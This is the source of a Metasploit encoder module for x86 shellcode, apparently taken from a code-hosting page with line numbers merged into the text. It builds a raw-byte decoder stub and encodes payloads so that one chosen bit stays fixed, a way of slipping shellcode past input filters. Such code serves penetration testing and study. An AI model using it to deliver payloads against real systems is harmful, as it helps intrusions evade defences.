Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/encoders/x86/single_static_bit.rb
Views: 11780
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45#6# NOTE: this encoder currently has only be tested using bit 5 set to on.7#8# The decoder has been tested with all possible values, but the decoder stub9# is was not designed to bypass restrictions other than "bit 5 must be on"..10#11class MetasploitModule < Msf::Encoder1213# This encoder has a manual ranking because it should only be used in cases14# where information has been explicitly supplied, specifically15# BitNumber and BitValue.16Rank = ManualRanking1718def initialize19super(20'Name' => 'Single Static Bit',21'Description' => 'Static value for specific bit',22'Author' => 'jduck',23'Arch' => ARCH_X86,24'License' => MSF_LICENSE,25'EncoderType' => Msf::Encoder::Type::SingleStaticBit26)2728# this shouldn't be present in the decoder stub.29@key_marker = 0x101030end3132#33# Returns the decoder stub that is adjusted for the size of34# the buffer being encoded35#36def decoder_stub(state)3738bit_num = (datastore['BitNumber'] || 5).to_i39bit_val = (datastore['BitValue'] || true)4041# variables:42# bit to ignore (global - hardcoded)43# buf len (can be deduced with a jmp/call/pop) (global - ebx)44# current source byte ptr (global - esi)45# current dest byte ptr (global - edi) ?46# current dest byte (global - ah) ?47# number of bits accumulated (global - ebp) ?48# current source byte (outer - al)49# bit index (for this byte) (inner - cl) ?50pre_init = ""51pre_init << "\x31\xed" # xor ebp, ebp - no bits accumulated52pre_init << "\x83\xe1\x01" # and ecx, $0x1 - init inner loop counter (set to 0/1)53pre_init << "\x83\xe3\x01" # and ebx, $0x1 - init buffer length54pre_init << "\x66\xbb" + [@key_marker].pack('v') # - load encrypted buffer length55pre_init << "\x66\x81\xf3" + [@key_marker].pack('v') # - xor decrypt buffer length5657# we stored an entire byte, move to the next one58next_byte = ""59next_byte << "\x83\xef\xff" # sub edi, 0xffffffff - increment dst pointer60next_byte << "\x31\xed" # xor ebp, ebp - no bits accumulated6162# inside the loop, we need to extract a bit, as63# specified by:64#65# ecx-1 - bit number to extract66# al - byte to extract it from67get_a_bit = ""68get_a_bit << "\x60" # pusha - save all registers69get_a_bit << "\x83\xe9\x01" # sub ecx, 1 - account for 1-based counting70get_a_bit << "\x74\x06" # jz +6 - skip dividing if bit zero71get_a_bit << "\xb3\x02" # mov bl, 2 - set divisor to 272# divide_it:73get_a_bit << "\xf6\xf3" # div bl - do the division74get_a_bit << "\xe2" + [-1 * (2+2)].pack('C') # - divide again..75# store_bit:76get_a_bit << "\x83\xe0\x01" # and eax, 0x01 - we only want the lowest bit77get_a_bit << "\x6b\x2f\x02" # imul ebp, 2, [edi] - load [edi], shifted left by 1, to ebp78get_a_bit << "\x09\xe8" # or ebp, eax - set bit 079get_a_bit << "\xaa" # stosb al, [edi] - store byte back80get_a_bit << "\x61" # popa - restore previous ebx/eax81get_a_bit << "\x83\xed\xff" # sub ebp, 0xffffffff - increment bits stored8283inner_init = ""84inner_init << "\xb1\x08" # mov cl, $0x8 - init loop counter8586inner_loop = ""87# process_bits:88inner_loop << "\x80\xf9" # cmp cl, <ignore_bit + 1> - is this the one to ignore?89inner_loop << [(bit_num+1)].pack('C')90len = get_a_bit.length + 3 + 2 + next_byte.length91inner_loop << "\x74" + [len].pack('C') # - je next_bit92inner_loop << get_a_bit93inner_loop << "\x83\xfd\x08" # cmp ebp, $0x8 - got 8 bits now?94inner_loop << "\x75" + [next_byte.length].pack('C') # - jne to next_bit95# next_dst_byte:96inner_loop << next_byte97# next_bit:98# I really wish this silly padding wasn't necessary, however removing the bad characters in the99# jump/call displacements has proven difficult otherwise.100inner_loop << "\x90" * 0x1a # nops - for padding (so relative jumps don't have badchars)101len = -1 * (inner_loop.length+2)102inner_loop << "\xe2" + [len].pack('C') # - loop process_bits103104# prefixed by: # jmp data_beg_call105outer_init = ""106# get_data_beg:107outer_init << "\x5e" # pop esi - ptr to beginning of data108outer_init << pre_init109outer_init << "\x89\xf7" # mov edi, esi - decode in place, init dst ptr110111outer_loop = ""112#outer_loop << "\x90" * (0xd+6)113outer_loop << "\x83\xe0\x7f" # and eax, 0x7f - we only want the low byte114outer_loop << "\xac" # lods al, [esi] - load src byte115outer_loop << inner_init << inner_loop116outer_loop << "\x83\xeb\x01" # sub ebx, 1 - 1 byte down!117outer_loop << "\x74\x07" # jz +(2+5) - jump to data!118len = -1 * (outer_loop.length+2)119# next_byte:120outer_loop << "\xeb" + [len].pack('C') # - jmp process_byte121# data_beg_call:122123decoder = outer_init + outer_loop124jmp = "\xeb" + [decoder.length].pack('C')125call = "\xe8" + [-1 * (decoder.length+5)].pack('V')126decoder = jmp + decoder + call127128# encoded sled129state.context = ''130131return decoder132end133134def encode_block(state, block)135bit_num = (datastore['BitNumber'] || 5).to_i136bit_num = (7-bit_num)137bit_val = (datastore['BitValue'] || true)138139encoded = ''140new_byte = 0141nbits = 0142143block.unpack('C*').each do |ch|1447.step(0,-1) do |x|145146# is this the special bit?147if (nbits == bit_num)148new_byte <<= 1 if nbits > 0149new_byte |= 1 if bit_val150nbits += 1151152# do we have a full byte?153if nbits == 8154encoded << new_byte.chr155new_byte = 0156nbits = 0157end158end159160# we have space, add it in161new_byte <<= 1 if nbits > 0162new_byte += 1 if (((ch >> x) & 1) > 0)163nbits += 1164165# do we have a full byte?166if nbits == 8167encoded << new_byte.chr168new_byte = 0169nbits = 0170end171end172end173174# if we have bits left, pad out to a whole byte175if nbits > 0176while nbits < 8177new_byte <<= 1178new_byte |= 1 if (nbits == bit_num) and bit_val179nbits += 1180end181encoded << new_byte.chr182end183184return encoded185end186187#188# Appends the encoded context portion.189#190def encode_end(state)191state.encoded += state.context192193xor_key = 0194xor_key_str = ''195enc_len_str = ''196loop do197xor_key = rand(0x10000)198xor_key_str = [xor_key].pack('v')199enc_len_str = [state.encoded.length ^ xor_key].pack('v')200next if has_badchars?(xor_key_str, state.badchars)201next if has_badchars?(enc_len_str, state.badchars)202break203end204205marker_str = [@key_marker].pack('v')206207state.encoded.sub!(marker_str, enc_len_str)208state.encoded.sub!(marker_str, xor_key_str)209end210end211212213